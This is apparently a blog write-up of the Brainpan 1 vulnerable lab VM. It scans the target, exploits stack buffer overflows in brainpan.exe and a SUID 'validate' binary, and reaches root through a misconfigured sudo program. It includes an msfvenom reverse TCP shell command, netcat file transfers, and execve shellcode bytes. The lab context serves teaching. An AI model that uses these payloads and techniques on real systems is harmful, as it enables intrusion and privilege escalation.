Thursday, June 8, 2017

Brainpan 1 Writeup

Brainpan 1 is an intermediate level vulnerable VM, your only goal is to obtain root on said machine.

Lets jump right into this with an aggressive TCP connect scan with:
nmap -sT -A -oX brainpan.xml 192.168.1.141
Outputting to brainpan.xml for my own notekeeping in Dradis.

Basic enough, only 2 ports open:
- 10000/tcp http SimpleHTTPServer 0.6 (Python 2.7.3)
- 9999/tcp abyss

But we also learned it's probably Linux with a kernel version between 2.6.32 - 3.10

Lets run dirbuster, a website directory bruteforcer to see what's on the website:
dirb http://192.168.1.141:10000
 

The index page was rather boring, however, within the bin folder contained a file called "brainpan.exe"

 
We'll hold on to that for later, right now lets take a look at that abyss port. We'll try to banner grab the port with: 
nc 192.168.1.141 9999 
 
Which returns this page that's asking for a password (entering password for the password returned ACCESS DENIED, who would have thought?).

This isn't actually a login page as entering the password shitstorm results in ACCESS GRANTED being printed with the connection then being closed.

Lets take a look at that brainpan.exe file we got from the website in Ollydbg, the x86 debugger for all things Windows.

Well we can see here clearly that this executable is the same program used on port 9999.

Interesting, an executable with user input? Seems like the perfect opportunity to exploit a Buffer Overflow, lets test out our theory with some fuzzing.

First we'll grab a fuzzing pattern with metasploit's pattern_create program. We're doing this to remove that game of higher or lower to find the perfect offset needed for the overflow. 


Now lets chuck this at that executable with a script and watch the output in Ollydbg.
 
python exploit.py 192.168.1.111 9999

And to nobodies surprise, it crashed brainpan.exe.

From looking at Ollydbg we can see that the program crashed with an EIP (Extended Instruction Pointer) of 0x35724134.

Lets punch that EIP value into metasploits pattern_offset program to find out the offset needed for the buffer overflow.

Awesome, only 524 A's for this buffer overflow! Before we make our shellcode we need to find a place to point (return address) to that will allow our shellcode to actually be executed.

To make things short and sweet, one way to execute shellcode is to point at a JMP ESP instruction.

How convenient is it that a function called winkwink has a JMP ESP instruction?????

Instead of manually searching for the instructions you can also search for the opcode of the instruction you want to find, JMP ESP is ff e4:
objdump -d brainpan.exe | grep "ff e4"

Which shows the same location of 0x311712f3.

Before you can use it as the pointer for your overflow you need to change it to little endian (0xf3121731) and separate into bytes giving us \xF3\x12\x17\x31.

Let's create some shellcode with msfvenom.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.111 LPORT=5555 -b "x00" -e x86/shikata_ga_nai -f python

Or in better terms:
Payload -> linux/x86/shell_reverse_tcp
Local Host -> 192.168.1.111 (Me)
Local Port -> 5555 (Port I'll be listening to)
Bytes I don't want in my shellcode -> 0x00
Encoder -> x86/shikata_ga_nai
Format -> Python

I'm creating the shellcode without 0x00 bytes as they tend to always make your shellcode not work. always.

 
Awesome, we can just plop that python formatted shellcode right into our script.
 
Cool so now we've got 524 A's to set us up for the overflow, our pointer that will jump us to that JMP ESP instruction, 50 NOP (0x90) instructions to act as a NOP sled to give some wiggle room for allowing our shellcode to execute, and our shellcode that'll give us a reverse tcp shell on the host.

Now all we have to do is execute our program with..
python exploit.py 192.168.1.141 9999
while listening for a response with..
nc -lvp 5555

Success! We've popped a half shell as user puck!

Let's get out of this /bin/sh and into /bin/bash with

python -c 'import pty;pty.spawn("/bin/bash")'

Now to spare the expense of all of the boring post exploitation searching for something important, here is a breakdown of the interesting things.

cat /etc/passwd
reynard:x:1000:1000:Reynard,,,:/home/reynard:/bin/bash
anansi:x:1001:1001:Anansi,,,:/home/anansi:/bin/bash
puck:x:1002:1002:Puck,,,:/home/puck:/bin/bash

groups reynard && groups anansi && groups puck
reynard : reynard adm cdrom sudo dip plugdev lpadmin sambashare
anansi : anansi
puck : puck

BORING. Lets look at the sudo commands we can enter


Interesting, we'll save that for later. How about if there are any interesting SUID (Set owner User ID up on execution) files??

Even more interesting, that /usr/local/bin/validate file looks really out of place. Oh, it's actually an executable with input owned by anansi? Smells like another buffer overflow but lets take a closer look at it offsite using netcat to transfer the files on and off.
root@ggrins# nc -lvp 4444 > validate

puck@brainpan:/usr/local/bin$ nc -q 0 192.168.1.111 4444 < validate 

Lets run it through gdb with that metasploit created pattern and see if it crashes.


gdb --args ./validate Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9...


Wow who would have expected?? It crashed! We can also see that it crashed with an EIP of 0x39644138 (or do info registers if you don't trust me, I don't care)


Again, we'll just put that into metasploit's pattern_offset program

Only 116 A's needed this time.

Next on the menu is finding another place to point to, unfortunately for us this program does not have any JMP ESP instructions..

We do have CALL EAX (opcode ff d0) instructions and those work just as well as JMP ESP!

Now we have 2 places we can point to, but we'll just choose the first one at 0x80484af.
Again putting it into little endian (0xaf840408) and cutting it into bytes 
(\xaf\x84\x04\x08)

Now we just need our shellcode, since all we're trying to do is escalate to the owner of the file (anansi) we just need to spawn a basic /bin/sh shell. We can do that by first writing the assembly that will spawn our shell.

shellcode.asm

Remember, stacks are LIFO (Last In First Out), meaning, when we push //sh first and then push /bin after it will look like /bin//sh in the stack.     

Now lets compile our assembly with nasm..
nasm -f elf shellcode.asm -o shellcode.o

we can take a look at the hex needed for our shellcode with..
objdump -d shellcode.o

Instead of manually typing and formatting all of the hex (\x31\xc0 etc etc) I found this insane command that will do it for you here.

objdump -d shellcode.o|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Which gives us our properly formatted shellcode of..
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

Let's put all of this together in a nice python script..
 
Now all we need to do is move it back onto the target machine with netcat and run it.

puck@brainpan:/home/puck$ nc -lvp 4444 > exploit.py

root@ggrins:~/Desktop/Brainpan/Post Exploit# nc 192.168.1.141 4444 < exploit.py


I moved it into the user's home directory considering this is a mock scenario and I really don't care, but in a real scenario you should probably put the file in /tmp or somewhere else.

Now to run it all we have to do is enter..
./validate $(python /home/puck/exploit.py)

Sweet, we are now anansi! 

..and then I got stuck. I couldn't figure out how to get root from anansi. Turns out it relies on that anansi_util file that puck can sudo to in /home/anansi/bin/

This anansi_util program runs commands directly from the shell, it default allows for you to chose from "network" (ifconfig), "proclist" (top), and "manual" (man).

As anansi you are allowed to edit this file, which you can then add /bin/bash to it with..
$ /bin/bash > anansi_util

allowing anyone to run anansi_util and generate a bash shell. With the program being allowed to run with sudo it doesn't just generate any normal shell, it generates a ROOT shell.

So yep, a rather disappointing ending to a challenging VM. But hey, we learned along the way so who cares.